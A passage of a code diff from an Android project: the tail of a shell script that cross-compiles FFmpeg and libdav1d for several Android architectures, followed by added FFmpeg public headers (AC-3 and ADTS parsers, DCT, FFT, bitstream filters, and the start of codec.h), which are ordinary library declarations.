+            PREFIX="${FFMPEG_BUILD_DIR}/$ANDROID_API_LEVEL/arm64-v8a"
+            CROSS_PREFIX="$ANDROID_NDK_PATH/toolchains/llvm/prebuilt/linux-x86_64/bin/$TARGET_ABI-linux-android${ANDROID_API_LEVEL}-"
+            EXTRA_CFLAGS="-O2 -march=$TARGET_CPU -fomit-frame-pointer"
+	        EXTRA_CXXFLAGS="-O2 -march=$TARGET_CPU -fomit-frame-pointer"
+     
+            EXTRA_CONFIG="\
+	    	      	--enable-asm \
+            		--enable-neon "
+            ;;
+        "armv7-a"|"armeabi-v7a"|"armv7a")
+            echo -e "\e[1;32m$ARCH Libraries\e[0m"
+            TARGET_ARCH="arm"
+            TARGET_CPU="armv7-a"
+            TARGET_ABI="armv7a"
+            PREFIX="${FFMPEG_BUILD_DIR}/$ANDROID_API_LEVEL/armeabi-v7a"
+            CROSS_PREFIX="$ANDROID_NDK_PATH/toolchains/llvm/prebuilt/linux-x86_64/bin/$TARGET_ABI-linux-androideabi${ANDROID_API_LEVEL}-"
+            EXTRA_CFLAGS="-O2 -march=$TARGET_CPU -mfpu=neon -fomit-frame-pointer"
+	        EXTRA_CXXFLAGS="-O2 -march=$TARGET_CPU -mfpu=neon -fomit-frame-pointer"
+     
+            EXTRA_CONFIG="\
+            		--disable-armv5te \
+            		--disable-armv6 \
+            		--disable-armv6t2 \
+	      			--enable-asm \
+            		--enable-neon "
+            ;;
+        "x86-64"|"x86_64")
+            echo -e "\e[1;32m$ARCH Libraries\e[0m"
+            TARGET_ARCH="x86_64"
+            TARGET_CPU="x86-64"
+            TARGET_ABI="x86_64"
+            PREFIX="${FFMPEG_BUILD_DIR}/$ANDROID_API_LEVEL/x86_64"
+            CROSS_PREFIX="$ANDROID_NDK_PATH/toolchains/llvm/prebuilt/linux-x86_64/bin/$TARGET_ABI-linux-android${ANDROID_API_LEVEL}-"
+            EXTRA_CFLAGS="-O2 -march=$TARGET_CPU -fomit-frame-pointer"
+	        EXTRA_CXXFLAGS="-O2 -march=$TARGET_CPU -fomit-frame-pointer"
+            		
+            EXTRA_CONFIG="\
+	    	      	--enable-asm "
+            ;;
+        "x86"|"i686")
+            echo -e "\e[1;32m$ARCH Libraries\e[0m"
+            TARGET_ARCH="i686"
+            TARGET_CPU="i686"
+            TARGET_ABI="i686"
+            PREFIX="${FFMPEG_BUILD_DIR}/$ANDROID_API_LEVEL/x86"
+            CROSS_PREFIX="$ANDROID_NDK_PATH/toolchains/llvm/prebuilt/linux-x86_64/bin/$TARGET_ABI-linux-android${ANDROID_API_LEVEL}-"
+            EXTRA_CFLAGS="-O2 -march=$TARGET_CPU -fomit-frame-pointer"
+	        EXTRA_CXXFLAGS="-O2 -march=$TARGET_CPU -fomit-frame-pointer"
+            EXTRA_CONFIG="\
+            		 --disable-asm "
+            ;;
+           * )
+            echo "Unknown architecture: $ARCH"
+            exit 1
+            ;;
+    esac
+	buildLibdav1d "$TARGET_ARCH" "$TARGET_CPU" "$PREFIX" "$CROSS_PREFIX" "$EXTRA_CFLAGS" "$EXTRA_CXXFLAGS" "$EXTRA_CONFIG"
+	if [ $? -ne 0 ]; then
+		echo "Error compiling $ARCH"
+  		exit 1
+	fi
+    configure_ffmpeg "$TARGET_ARCH" "$TARGET_CPU" "$PREFIX" "$CROSS_PREFIX" "$EXTRA_CFLAGS" "$EXTRA_CXXFLAGS" "$EXTRA_CONFIG"
+	if [ $? -ne 0 ]; then
+		echo "Error compiling $ARCH"
+  		exit 1
+	fi
+done

app/src/main/jniLibs/arm64-v8a/include/libavcodec/ac3_parser.h

@@ -0,0 +1,36 @@
+/*
+ * AC-3 parser prototypes
+ * Copyright (c) 2003 Fabrice Bellard
+ * Copyright (c) 2003 Michael Niedermayer
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_AC3_PARSER_H
+#define AVCODEC_AC3_PARSER_H
+
+#include <stddef.h>
+#include <stdint.h>
+
+/**
+ * Extract the bitstream ID and the frame size from AC-3 data.
+ */
+int av_ac3_parse_header(const uint8_t *buf, size_t size,
+                        uint8_t *bitstream_id, uint16_t *frame_size);
+
+
+#endif /* AVCODEC_AC3_PARSER_H */

app/src/main/jniLibs/arm64-v8a/include/libavcodec/adts_parser.h

@@ -0,0 +1,37 @@
+/*
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_ADTS_PARSER_H
+#define AVCODEC_ADTS_PARSER_H
+
+#include <stddef.h>
+#include <stdint.h>
+
+#define AV_AAC_ADTS_HEADER_SIZE 7
+
+/**
+ * Extract the number of samples and frames from AAC data.
+ * @param[in]  buf     pointer to AAC data buffer
+ * @param[out] samples Pointer to where number of samples is written
+ * @param[out] frames  Pointer to where number of frames is written
+ * @return Returns 0 on success, error code on failure.
+ */
+int av_adts_header_parse(const uint8_t *buf, uint32_t *samples,
+                         uint8_t *frames);
+
+#endif /* AVCODEC_ADTS_PARSER_H */

app/src/main/jniLibs/arm64-v8a/include/libavcodec/avdct.h

@@ -0,0 +1,88 @@
+/*
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_AVDCT_H
+#define AVCODEC_AVDCT_H
+
+#include "libavutil/opt.h"
+
+/**
+ * AVDCT context.
+ * @note function pointers can be NULL if the specific features have been
+ *       disabled at build time.
+ */
+typedef struct AVDCT {
+    const AVClass *av_class;
+
+    void (*idct)(int16_t *block /* align 16 */);
+
+    /**
+     * IDCT input permutation.
+     * Several optimized IDCTs need a permutated input (relative to the
+     * normal order of the reference IDCT).
+     * This permutation must be performed before the idct_put/add.
+     * Note, normally this can be merged with the zigzag/alternate scan<br>
+     * An example to avoid confusion:
+     * - (->decode coeffs -> zigzag reorder -> dequant -> reference IDCT -> ...)
+     * - (x -> reference DCT -> reference IDCT -> x)
+     * - (x -> reference DCT -> simple_mmx_perm = idct_permutation
+     *    -> simple_idct_mmx -> x)
+     * - (-> decode coeffs -> zigzag reorder -> simple_mmx_perm -> dequant
+     *    -> simple_idct_mmx -> ...)
+     */
+    uint8_t idct_permutation[64];
+
+    void (*fdct)(int16_t *block /* align 16 */);
+
+
+    /**
+     * DCT algorithm.
+     * must use AVOptions to set this field.
+     */
+    int dct_algo;
+
+    /**
+     * IDCT algorithm.
+     * must use AVOptions to set this field.
+     */
+    int idct_algo;
+
+    void (*get_pixels)(int16_t *block /* align 16 */,
+                       const uint8_t *pixels /* align 8 */,
+                       ptrdiff_t line_size);
+
+    int bits_per_sample;
+
+    void (*get_pixels_unaligned)(int16_t *block /* align 16 */,
+                       const uint8_t *pixels,
+                       ptrdiff_t line_size);
+} AVDCT;
+
+/**
+ * Allocates a AVDCT context.
+ * This needs to be initialized with avcodec_dct_init() after optionally
+ * configuring it with AVOptions.
+ *
+ * To free it use av_free()
+ */
+AVDCT *avcodec_dct_alloc(void);
+int avcodec_dct_init(AVDCT *);
+
+const AVClass *avcodec_dct_get_class(void);
+
+#endif /* AVCODEC_AVDCT_H */

app/src/main/jniLibs/arm64-v8a/include/libavcodec/avfft.h

@@ -0,0 +1,149 @@
+/*
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_AVFFT_H
+#define AVCODEC_AVFFT_H
+
+#include "libavutil/attributes.h"
+#include "version_major.h"
+#if FF_API_AVFFT
+
+/**
+ * @file
+ * @ingroup lavc_fft
+ * FFT functions
+ */
+
+/**
+ * @defgroup lavc_fft FFT functions
+ * @ingroup lavc_misc
+ *
+ * @{
+ */
+
+typedef float FFTSample;
+
+typedef struct FFTComplex {
+    FFTSample re, im;
+} FFTComplex;
+
+typedef struct FFTContext FFTContext;
+
+/**
+ * Set up a complex FFT.
+ * @param nbits           log2 of the length of the input array
+ * @param inverse         if 0 perform the forward transform, if 1 perform the inverse
+ * @deprecated use av_tx_init from libavutil/tx.h with a type of AV_TX_FLOAT_FFT
+ */
+attribute_deprecated
+FFTContext *av_fft_init(int nbits, int inverse);
+
+/**
+ * Do the permutation needed BEFORE calling ff_fft_calc().
+ * @deprecated without replacement
+ */
+attribute_deprecated
+void av_fft_permute(FFTContext *s, FFTComplex *z);
+
+/**
+ * Do a complex FFT with the parameters defined in av_fft_init(). The
+ * input data must be permuted before. No 1.0/sqrt(n) normalization is done.
+ * @deprecated use the av_tx_fn value returned by av_tx_init, which also does permutation
+ */
+attribute_deprecated
+void av_fft_calc(FFTContext *s, FFTComplex *z);
+
+attribute_deprecated
+void av_fft_end(FFTContext *s);
+
+/**
+ * @deprecated use av_tx_init from libavutil/tx.h with a type of AV_TX_FLOAT_MDCT,
+ * with a flag of AV_TX_FULL_IMDCT for a replacement to av_imdct_calc.
+ */
+attribute_deprecated
+FFTContext *av_mdct_init(int nbits, int inverse, double scale);
+attribute_deprecated
+void av_imdct_calc(FFTContext *s, FFTSample *output, const FFTSample *input);
+attribute_deprecated
+void av_imdct_half(FFTContext *s, FFTSample *output, const FFTSample *input);
+attribute_deprecated
+void av_mdct_calc(FFTContext *s, FFTSample *output, const FFTSample *input);
+attribute_deprecated
+void av_mdct_end(FFTContext *s);
+
+/* Real Discrete Fourier Transform */
+
+enum RDFTransformType {
+    DFT_R2C,
+    IDFT_C2R,
+    IDFT_R2C,
+    DFT_C2R,
+};
+
+typedef struct RDFTContext RDFTContext;
+
+/**
+ * Set up a real FFT.
+ * @param nbits           log2 of the length of the input array
+ * @param trans           the type of transform
+ *
+ * @deprecated use av_tx_init from libavutil/tx.h with a type of AV_TX_FLOAT_RDFT
+ */
+attribute_deprecated
+RDFTContext *av_rdft_init(int nbits, enum RDFTransformType trans);
+attribute_deprecated
+void av_rdft_calc(RDFTContext *s, FFTSample *data);
+attribute_deprecated
+void av_rdft_end(RDFTContext *s);
+
+/* Discrete Cosine Transform */
+
+typedef struct DCTContext DCTContext;
+
+enum DCTTransformType {
+    DCT_II = 0,
+    DCT_III,
+    DCT_I,
+    DST_I,
+};
+
+/**
+ * Set up DCT.
+ *
+ * @param nbits           size of the input array:
+ *                        (1 << nbits)     for DCT-II, DCT-III and DST-I
+ *                        (1 << nbits) + 1 for DCT-I
+ * @param type            the type of transform
+ *
+ * @note the first element of the input of DST-I is ignored
+ *
+ * @deprecated use av_tx_init from libavutil/tx.h with an appropriate type of AV_TX_FLOAT_DCT
+ */
+attribute_deprecated
+DCTContext *av_dct_init(int nbits, enum DCTTransformType type);
+attribute_deprecated
+void av_dct_calc(DCTContext *s, FFTSample *data);
+attribute_deprecated
+void av_dct_end (DCTContext *s);
+
+/**
+ * @}
+ */
+
+#endif /* FF_API_AVFFT */
+#endif /* AVCODEC_AVFFT_H */

app/src/main/jniLibs/arm64-v8a/include/libavcodec/bsf.h

@@ -0,0 +1,332 @@
+/*
+ * Bitstream filters public API
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_BSF_H
+#define AVCODEC_BSF_H
+
+#include "libavutil/dict.h"
+#include "libavutil/log.h"
+#include "libavutil/rational.h"
+
+#include "codec_id.h"
+#include "codec_par.h"
+#include "packet.h"
+
+/**
+ * @defgroup lavc_bsf Bitstream filters
+ * @ingroup libavc
+ *
+ * Bitstream filters transform encoded media data without decoding it. This
+ * allows e.g. manipulating various header values. Bitstream filters operate on
+ * @ref AVPacket "AVPackets".
+ *
+ * The bitstream filtering API is centered around two structures:
+ * AVBitStreamFilter and AVBSFContext. The former represents a bitstream filter
+ * in abstract, the latter a specific filtering process. Obtain an
+ * AVBitStreamFilter using av_bsf_get_by_name() or av_bsf_iterate(), then pass
+ * it to av_bsf_alloc() to create an AVBSFContext. Fill in the user-settable
+ * AVBSFContext fields, as described in its documentation, then call
+ * av_bsf_init() to prepare the filter context for use.
+ *
+ * Submit packets for filtering using av_bsf_send_packet(), obtain filtered
+ * results with av_bsf_receive_packet(). When no more input packets will be
+ * sent, submit a NULL AVPacket to signal the end of the stream to the filter.
+ * av_bsf_receive_packet() will then return trailing packets, if any are
+ * produced by the filter.
+ *
+ * Finally, free the filter context with av_bsf_free().
+ * @{
+ */
+
+/**
+ * The bitstream filter state.
+ *
+ * This struct must be allocated with av_bsf_alloc() and freed with
+ * av_bsf_free().
+ *
+ * The fields in the struct will only be changed (by the caller or by the
+ * filter) as described in their documentation, and are to be considered
+ * immutable otherwise.
+ */
+typedef struct AVBSFContext {
+    /**
+     * A class for logging and AVOptions
+     */
+    const AVClass *av_class;
+
+    /**
+     * The bitstream filter this context is an instance of.
+     */
+    const struct AVBitStreamFilter *filter;
+
+    /**
+     * Opaque filter-specific private data. If filter->priv_class is non-NULL,
+     * this is an AVOptions-enabled struct.
+     */
+    void *priv_data;
+
+    /**
+     * Parameters of the input stream. This field is allocated in
+     * av_bsf_alloc(), it needs to be filled by the caller before
+     * av_bsf_init().
+     */
+    AVCodecParameters *par_in;
+
+    /**
+     * Parameters of the output stream. This field is allocated in
+     * av_bsf_alloc(), it is set by the filter in av_bsf_init().
+     */
+    AVCodecParameters *par_out;
+
+    /**
+     * The timebase used for the timestamps of the input packets. Set by the
+     * caller before av_bsf_init().
+     */
+    AVRational time_base_in;
+
+    /**
+     * The timebase used for the timestamps of the output packets. Set by the
+     * filter in av_bsf_init().
+     */
+    AVRational time_base_out;
+} AVBSFContext;
+
+typedef struct AVBitStreamFilter {
+    const char *name;
+
+    /**
+     * A list of codec ids supported by the filter, terminated by
+     * AV_CODEC_ID_NONE.
+     * May be NULL, in that case the bitstream filter works with any codec id.
+     */
+    const enum AVCodecID *codec_ids;
+
+    /**
+     * A class for the private data, used to declare bitstream filter private
+     * AVOptions. This field is NULL for bitstream filters that do not declare
+     * any options.
+     *
+     * If this field is non-NULL, the first member of the filter private data
+     * must be a pointer to AVClass, which will be set by libavcodec generic
+     * code to this class.
+     */
+    const AVClass *priv_class;
+} AVBitStreamFilter;
+
+/**
+ * @return a bitstream filter with the specified name or NULL if no such
+ *         bitstream filter exists.
+ */
+const AVBitStreamFilter *av_bsf_get_by_name(const char *name);
+
+/**
+ * Iterate over all registered bitstream filters.
+ *
+ * @param opaque a pointer where libavcodec will store the iteration state. Must
+ *               point to NULL to start the iteration.
+ *
+ * @return the next registered bitstream filter or NULL when the iteration is
+ *         finished
+ */
+const AVBitStreamFilter *av_bsf_iterate(void **opaque);
+
+/**
+ * Allocate a context for a given bitstream filter. The caller must fill in the
+ * context parameters as described in the documentation and then call
+ * av_bsf_init() before sending any data to the filter.
+ *
+ * @param filter the filter for which to allocate an instance.
+ * @param[out] ctx a pointer into which the pointer to the newly-allocated context
+ *                 will be written. It must be freed with av_bsf_free() after the
+ *                 filtering is done.
+ *
+ * @return 0 on success, a negative AVERROR code on failure
+ */
+int av_bsf_alloc(const AVBitStreamFilter *filter, AVBSFContext **ctx);
+
+/**
+ * Prepare the filter for use, after all the parameters and options have been
+ * set.
+ *
+ * @param ctx a AVBSFContext previously allocated with av_bsf_alloc()
+ */
+int av_bsf_init(AVBSFContext *ctx);
+
+/**
+ * Submit a packet for filtering.
+ *
+ * After sending each packet, the filter must be completely drained by calling
+ * av_bsf_receive_packet() repeatedly until it returns AVERROR(EAGAIN) or
+ * AVERROR_EOF.
+ *
+ * @param ctx an initialized AVBSFContext
+ * @param pkt the packet to filter. The bitstream filter will take ownership of
+ * the packet and reset the contents of pkt. pkt is not touched if an error occurs.
+ * If pkt is empty (i.e. NULL, or pkt->data is NULL and pkt->side_data_elems zero),
+ * it signals the end of the stream (i.e. no more non-empty packets will be sent;
+ * sending more empty packets does nothing) and will cause the filter to output
+ * any packets it may have buffered internally.
+ *
+ * @return
+ *  - 0 on success.
+ *  - AVERROR(EAGAIN) if packets need to be retrieved from the filter (using
+ *    av_bsf_receive_packet()) before new input can be consumed.
+ *  - Another negative AVERROR value if an error occurs.
+ */
+int av_bsf_send_packet(AVBSFContext *ctx, AVPacket *pkt);
+
+/**
+ * Retrieve a filtered packet.
+ *
+ * @param ctx an initialized AVBSFContext
+ * @param[out] pkt this struct will be filled with the contents of the filtered
+ *                 packet. It is owned by the caller and must be freed using
+ *                 av_packet_unref() when it is no longer needed.
+ *                 This parameter should be "clean" (i.e. freshly allocated
+ *                 with av_packet_alloc() or unreffed with av_packet_unref())
+ *                 when this function is called. If this function returns
+ *                 successfully, the contents of pkt will be completely
+ *                 overwritten by the returned data. On failure, pkt is not
+ *                 touched.
+ *
+ * @return
+ *  - 0 on success.
+ *  - AVERROR(EAGAIN) if more packets need to be sent to the filter (using
+ *    av_bsf_send_packet()) to get more output.
+ *  - AVERROR_EOF if there will be no further output from the filter.
+ *  - Another negative AVERROR value if an error occurs.
+ *
+ * @note one input packet may result in several output packets, so after sending
+ * a packet with av_bsf_send_packet(), this function needs to be called
+ * repeatedly until it stops returning 0. It is also possible for a filter to
+ * output fewer packets than were sent to it, so this function may return
+ * AVERROR(EAGAIN) immediately after a successful av_bsf_send_packet() call.
+ */
+int av_bsf_receive_packet(AVBSFContext *ctx, AVPacket *pkt);
+
+/**
+ * Reset the internal bitstream filter state. Should be called e.g. when seeking.
+ */
+void av_bsf_flush(AVBSFContext *ctx);
+
+/**
+ * Free a bitstream filter context and everything associated with it; write NULL
+ * into the supplied pointer.
+ */
+void av_bsf_free(AVBSFContext **ctx);
+
+/**
+ * Get the AVClass for AVBSFContext. It can be used in combination with
+ * AV_OPT_SEARCH_FAKE_OBJ for examining options.
+ *
+ * @see av_opt_find().
+ */
+const AVClass *av_bsf_get_class(void);
+
+/**
+ * Structure for chain/list of bitstream filters.
+ * Empty list can be allocated by av_bsf_list_alloc().
+ */
+typedef struct AVBSFList AVBSFList;
+
+/**
+ * Allocate empty list of bitstream filters.
+ * The list must be later freed by av_bsf_list_free()
+ * or finalized by av_bsf_list_finalize().
+ *
+ * @return Pointer to @ref AVBSFList on success, NULL in case of failure
+ */
+AVBSFList *av_bsf_list_alloc(void);
+
+/**
+ * Free list of bitstream filters.
+ *
+ * @param lst Pointer to pointer returned by av_bsf_list_alloc()
+ */
+void av_bsf_list_free(AVBSFList **lst);
+
+/**
+ * Append bitstream filter to the list of bitstream filters.
+ *
+ * @param lst List to append to
+ * @param bsf Filter context to be appended
+ *
+ * @return >=0 on success, negative AVERROR in case of failure
+ */
+int av_bsf_list_append(AVBSFList *lst, AVBSFContext *bsf);
+
+/**
+ * Construct new bitstream filter context given it's name and options
+ * and append it to the list of bitstream filters.
+ *
+ * @param lst      List to append to
+ * @param bsf_name Name of the bitstream filter
+ * @param options  Options for the bitstream filter, can be set to NULL
+ *
+ * @return >=0 on success, negative AVERROR in case of failure
+ */
+int av_bsf_list_append2(AVBSFList *lst, const char * bsf_name, AVDictionary **options);
+/**
+ * Finalize list of bitstream filters.
+ *
+ * This function will transform @ref AVBSFList to single @ref AVBSFContext,
+ * so the whole chain of bitstream filters can be treated as single filter
+ * freshly allocated by av_bsf_alloc().
+ * If the call is successful, @ref AVBSFList structure is freed and lst
+ * will be set to NULL. In case of failure, caller is responsible for
+ * freeing the structure by av_bsf_list_free()
+ *
+ * @param      lst Filter list structure to be transformed
+ * @param[out] bsf Pointer to be set to newly created @ref AVBSFContext structure
+ *                 representing the chain of bitstream filters
+ *
+ * @return >=0 on success, negative AVERROR in case of failure
+ */
+int av_bsf_list_finalize(AVBSFList **lst, AVBSFContext **bsf);
+
+/**
+ * Parse string describing list of bitstream filters and create single
+ * @ref AVBSFContext describing the whole chain of bitstream filters.
+ * Resulting @ref AVBSFContext can be treated as any other @ref AVBSFContext freshly
+ * allocated by av_bsf_alloc().
+ *
+ * @param      str String describing chain of bitstream filters in format
+ *                 `bsf1[=opt1=val1:opt2=val2][,bsf2]`
+ * @param[out] bsf Pointer to be set to newly created @ref AVBSFContext structure
+ *                 representing the chain of bitstream filters
+ *
+ * @return >=0 on success, negative AVERROR in case of failure
+ */
+int av_bsf_list_parse_str(const char *str, AVBSFContext **bsf);
+
+/**
+ * Get null/pass-through bitstream filter.
+ *
+ * @param[out] bsf Pointer to be set to new instance of pass-through bitstream filter
+ *
+ * @return
+ */
+int av_bsf_get_null_filter(AVBSFContext **bsf);
+
+/**
+ * @}
+ */
+
+#endif // AVCODEC_BSF_H

app/src/main/jniLibs/arm64-v8a/include/libavcodec/codec.h

@@ -0,0 +1,382 @@
+/*
+ * AVCodec public API
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_CODEC_H
+#define AVCODEC_CODEC_H
+
+#include <stdint.h>
+
+#include "libavutil/avutil.h"
+#include "libavutil/hwcontext.h"
+#include "libavutil/log.h"
+#include "libavutil/pixfmt.h"
+#include "libavutil/rational.h"
+#include "libavutil/samplefmt.h"
+
+#include "libavcodec/codec_id.h"
+#include "libavcodec/version_major.h"
+
+/**
+ * @addtogroup lavc_core
+ * @{
+ */
+
+/**
+ * Decoder can use draw_horiz_band callback.
+ */
+#define AV_CODEC_CAP_DRAW_HORIZ_BAND     (1 <<  0)
+/**
+ * Codec uses get_buffer() or get_encode_buffer() for allocating buffers and
+ * supports custom allocators.
+ * If not set, it might not use get_buffer() or get_encode_buffer() at all, or
+ * use operations that assume the buffer was allocated by
+ * avcodec_default_get_buffer2 or avcodec_default_get_encode_buffer.
+ */
+#define AV_CODEC_CAP_DR1                 (1 <<  1)
+/**
+ * Encoder or decoder requires flushing with NULL input at the end in order to
+ * give the complete and correct output.
+ *
+ * NOTE: If this flag is not set, the codec is guaranteed to never be fed with
+ *       with NULL data. The user can still send NULL data to the public encode
+ *       or decode function, but libavcodec will not pass it along to the codec
+ *       unless this flag is set.
+ *
+ * Decoders:
+ * The decoder has a non-zero delay and needs to be fed with avpkt->data=NULL,
+ * avpkt->size=0 at the end to get the delayed data until the decoder no longer
+ * returns frames.
+ *
+ * Encoders:
+ * The encoder needs to be fed with NULL data at the end of encoding until the
+ * encoder no longer returns data.
+ *
+ * NOTE: For encoders implementing the AVCodec.encode2() function, setting this
+ *       flag also means that the encoder must set the pts and duration for
+ *       each output packet. If this flag is not set, the pts and duration will
+ *       be determined by libavcodec from the input frame.
+ */
+#define AV_CODEC_CAP_DELAY               (1 <<  5)
+/**
+ * Codec can be fed a final frame with a smaller size.
+ * This can be used to prevent truncation of the last audio samples.
+ */
+#define AV_CODEC_CAP_SMALL_LAST_FRAME    (1 <<  6)
+
+#if FF_API_SUBFRAMES
+/**
+ * Codec can output multiple frames per AVPacket
+ * Normally demuxers return one frame at a time, demuxers which do not do
+ * are connected to a parser to split what they return into proper frames.
+ * This flag is reserved to the very rare category of codecs which have a
+ * bitstream that cannot be split into frames without timeconsuming
+ * operations like full decoding. Demuxers carrying such bitstreams thus
+ * may return multiple frames in a packet. This has many disadvantages like
+ * prohibiting stream copy in many cases thus it should only be considered
+ * as a last resort.
+ */
+#define AV_CODEC_CAP_SUBFRAMES           (1 <<  8)
+#endif
+
+/**
+ * Codec is experimental and is thus avoided in favor of non experimental
+ * encoders
+ */
+#define AV_CODEC_CAP_EXPERIMENTAL        (1 <<  9)
+/**
+ * Codec should fill in channel configuration and samplerate instead of container
+ */
+#define AV_CODEC_CAP_CHANNEL_CONF        (1 << 10)
+/**
+ * Codec supports frame-level multithreading.
+ */
+#define AV_CODEC_CAP_FRAME_THREADS       (1 << 12)
+/**
+ * Codec supports slice-based (or partition-based) multithreading.
+ */
+#define AV_CODEC_CAP_SLICE_THREADS       (1 << 13)
+/**
+ * Codec supports changed parameters at any point.
+ */
+#define AV_CODEC_CAP_PARAM_CHANGE        (1 << 14)
+/**
+ * Codec supports multithreading through a method other than slice- or
+ * frame-level multithreading. Typically this marks wrappers around
+ * multithreading-capable external libraries.
+ */
+#define AV_CODEC_CAP_OTHER_THREADS       (1 << 15)
+/**
+ * Audio encoder supports receiving a different number of samples in each call.
+ */
+#define AV_CODEC_CAP_VARIABLE_FRAME_SIZE (1 << 16)
+/**
+ * Decoder is not a preferred choice for probing.
+ * This indicates that the decoder is not a good choice for probing.
+ * It could for example be an expensive to spin up hardware decoder,
+ * or it could simply not provide a lot of useful information about
+ * the stream.
+ * A decoder marked with this flag should only be used as last resort
+ * choice for probing.
+ */
+#define AV_CODEC_CAP_AVOID_PROBING       (1 << 17)
+
+/**
+ * Codec is backed by a hardware implementation. Typically used to
+ * identify a non-hwaccel hardware decoder. For information about hwaccels, use
+ * avcodec_get_hw_config() instead.
+ */
+#define AV_CODEC_CAP_HARDWARE            (1 << 18)
+
+/**
+ * Codec is potentially backed by a hardware implementation, but not
+ * necessarily. This is used instead of AV_CODEC_CAP_HARDWARE, if the
+ * implementation provides some sort of internal fallback.
+ */
+#define AV_CODEC_CAP_HYBRID              (1 << 19)
+
+/**
+ * This encoder can reorder user opaque values from input AVFrames and return
+ * them with corresponding output packets.
+ * @see AV_CODEC_FLAG_COPY_OPAQUE
+ */
+#define AV_CODEC_CAP_ENCODER_REORDERED_OPAQUE (1 << 20)
+
+/**
+ * This encoder can be flushed using avcodec_flush_buffers(). If this flag is
+ * not set, the encoder must be closed and reopened to ensure that no frames
+ * remain pending.
+ */
+#define AV_CODEC_CAP_ENCODER_FLUSH   (1 << 21)
+
+/**
+ * The encoder is able to output reconstructed frame data, i.e. raw frames that
+ * would be produced by decoding the encoded bitstream.
+ *
+ * Reconstructed frame output is enabled by the AV_CODEC_FLAG_RECON_FRAME flag.
+ */
+#define AV_CODEC_CAP_ENCODER_RECON_FRAME (1 << 22)
+
+/**
+ * AVProfile.
+ */
+typedef struct AVProfile {
+    int profile;
+    const char *name; ///< short name for the profile
+} AVProfile;
+
+/**
+ * AVCodec.
+ */
+typedef struct AVCodec {
+    /**
+     * Name of the codec implementation.
+     * The name is globally unique among encoders and among decoders (but an
+     * encoder and a decoder can share the same name).
+     * This is the primary way to find a codec from the user perspective.
+     */
+    const char *name;
+    /**
+     * Descriptive name for the codec, meant to be more human readable than name.
+     * You should use the NULL_IF_CONFIG_SMALL() macro to define it.
+     */
+    const char *long_name;
+    enum AVMediaType type;
+    enum AVCodecID id;
+    /**
+     * Codec capabilities.
+     * see AV_CODEC_CAP_*
+     */
+    int capabilities;
+    uint8_t max_lowres;                     ///< maximum value for lowres supported by the decoder
+
+    /**
+     * Deprecated codec capabilities.
+     */
+    attribute_deprecated
